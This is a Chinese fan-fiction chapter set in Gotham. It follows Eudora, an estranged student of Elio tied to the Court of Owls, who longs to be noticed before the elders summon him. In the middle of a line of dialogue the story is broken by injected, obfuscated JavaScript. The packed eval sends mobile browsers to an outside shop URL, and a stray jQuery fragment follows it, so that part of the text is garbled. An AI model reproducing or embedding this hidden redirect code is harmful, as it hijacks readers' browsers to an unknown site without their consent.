哥谭从来不缺空房间。

    那些被遗忘的、封死的、地图上没有标注的空间,大多是猫头鹰们的巢穴。

    其中一个位于港口的,现在属于尤多拉——那个让艾利欧最近愈发心烦意乱的、本该在十九世纪的那场大清洗中就“死去”的孩子。

    潮湿的墙壁上爬满了暗紫色的丝线,像血管一样缓慢搏动,让整个房间像一个正在呼吸的、被封闭了太久的胸腔。

    房间的中央,尤多拉靠在椅背上,黑色的发丝从脸侧滑下来,遮住了半张脸。

    他盯着自己的指尖,那根断掉的纤维在他指间慢慢消散,像一缕暗紫色的烟融入空气中。

    上面的银色残留——来自艾利欧的银色——在消散的纤维末端闪了一下,然后也消失了。

    尤多拉记得那个颜色。

    那是他曾经每天都能看到的颜色。

    年轻的艾利欧手把手教导他的时候,银色的丝线会从艾利欧的指尖延伸出来,绕着他的手指走一圈,然后那些歪歪扭扭的线条就会被理顺。

    他已经许多许多年没有触碰过那抹银色了。

    可他记得那个颜色在黑暗里亮起来的样子,像冬天里最后一片没被雪覆盖的叶子。

    “……您差点就找到我了。”

    尤多拉的声音里有一种说不清是欢喜还是嘲讽的东西。

    他穿着黑色的长袍,剪裁利落,没有任何多余的装饰。当手指安静地搭在膝盖上时,整个人看起来像一尊雕像。

    但他的身体在颤抖。

    很轻微,像是皮肤底下有什么东西在不停地、不知疲倦地翻涌。

    他已经一百多年没有站在艾利欧的身边了。

    自从发生了那个该死的大清洗——自从艾利欧醒来后抛弃了过去的一切——自从……

    他似乎就再也没有那个机会了。

    尤多拉前段时间在东区的那个废弃厂房里编织了一个新的收集阵,测试之后又把阵拆了。

    他把能回收的材料都收走了,却留了一根能量纤维嵌在阵法深处。

    他本该把它也收走的,本该。

    尤多拉也不知道自己想要什么。

    不想让艾利欧认出自己。

    又想让艾利欧认出自己。

    这种矛盾撕裂着他,一半叫嚣着让艾利欧看看他曾经的学生变成了什么样的怪物,一半又缩在黑暗里等待着被拥抱和抚摸。

    像一个伤口在好了又裂之间反复循环,永远没有真正愈合的那一天。

    艾利欧现在住在韦恩庄园。

    他当然知道——他总是知道艾利欧在哪儿。

    追寻对他来说已经成为了一种本能,像一个人忘不了自己学会的第一句话。

    即使那门语言他已经不再说了。

    尤多拉站了起来,黑色的长袍垂下来,下摆几乎拖到地面。

    他十八岁的时候就比艾利欧高出大半个头了。现在身形修长瘦削,在昏暗的房间里像一道立起来的影子。

    尤多拉走到窗边,隔着厚重的帷幕朝外看了一眼。哥谭的灯火在远处连成一片模糊的光带,像一条正在呼吸的河。

    他其实不讨厌哥谭。

    这座城市足够暗,足够大,足够让他在失去一切后在里面藏了百年有余。

    但他讨厌那座庄园。

    讨厌那些住在庄园里的人——那个穿蝙蝠制服的男人,那几个飞来飞去的孩子,他们站在艾利欧身边,占据着尤多拉追寻了百年的位置。

    凭什么?

    他们不知道艾利欧来自哪里。

    他们不知道艾利欧以前是什么样子。

    他们不知道艾利欧曾经也是个会乱发脾气、会得意地笑、会用力抱住别人的肩膀流着泪说“你会没事的”的人。

    他们只知道现在的艾利欧——温柔的、平淡的、轻浮的、总是隔着一层玻璃的艾利欧。

    尤多拉知道那层玻璃是什么。

    醒来后的艾利欧不想再真正靠近任何人,因为不想再失去。

    尤多拉理解这一点——但理解并不等于原谅。

    “老师,您看到我了吗?”他对着窗户里自己的倒影呢喃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818955|211102||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    倒影不说话。倒影只映出了他自己的轮廓——黑色的齐肩直发、琥珀金的眼睛、苍白的脸。

    “您把我留在了过去,然后自顾自的翻篇了。”

    尤多拉知道自己在和猫头鹰法庭做什么,但他停不下来。

    因为这条路的起点是“我要你看到我”。

    而终点——如果有终点的话——是“我要你为我后悔”。

    要让艾利欧后悔当初醒来后没有回头找他,后悔让他独自一人走了这么久,后悔放任他在黑暗中长成了现在的模样。

    尤多拉低头看着自己的手。

    那些暗紫色的丝线在指缝间缠绕着,像活物一样,仿佛在呼吸。

    他用这些线做了很多事。他把它们绑在人的灵魂上,让他们变成听话的兵器。他把它们织进建筑里,让哥谭的旧砖墙替他收集情绪。

    他做了很多艾利欧不会认可的事情。

    于是有时候会在深夜里想——如果艾利欧看到了,他会怎么说?

    他会皱眉吗?他会失望吗?还是会像当年一样对自己伸出手,说“尤多拉,过来吧”?

    他不知道自己更害怕哪一种。

    但他知道他想被看到,哪怕是被愤怒地看到、被失望地看到,都好过被忽略。

    一阵脚步声从门外走廊传来,不紧不慢,靴底敲在石板上带着一种空洞的回音。

    尤多拉没有回头。

    脚步声在他的房间门口停住了,一道影子落在门槛上——一只高大的、穿着深色制服的利爪。

    “尤多拉先生。”那个声音说,平板、机械、不包含任何情感,“长老会在等您。”

    尤多拉背对着门口,把暗紫色的线收进掌心。

    “我知道了。”

    他转过身来的时候,表情在昏暗的光线里看起来平静如常,只有自己知道刚才那段时间里心脏跳得多快。

    尤多拉迈步走出了房间。

    靴子踩在石板地上发出不紧不慢的声响,一下,又一下。

    走廊在他身后重新陷入了黑暗。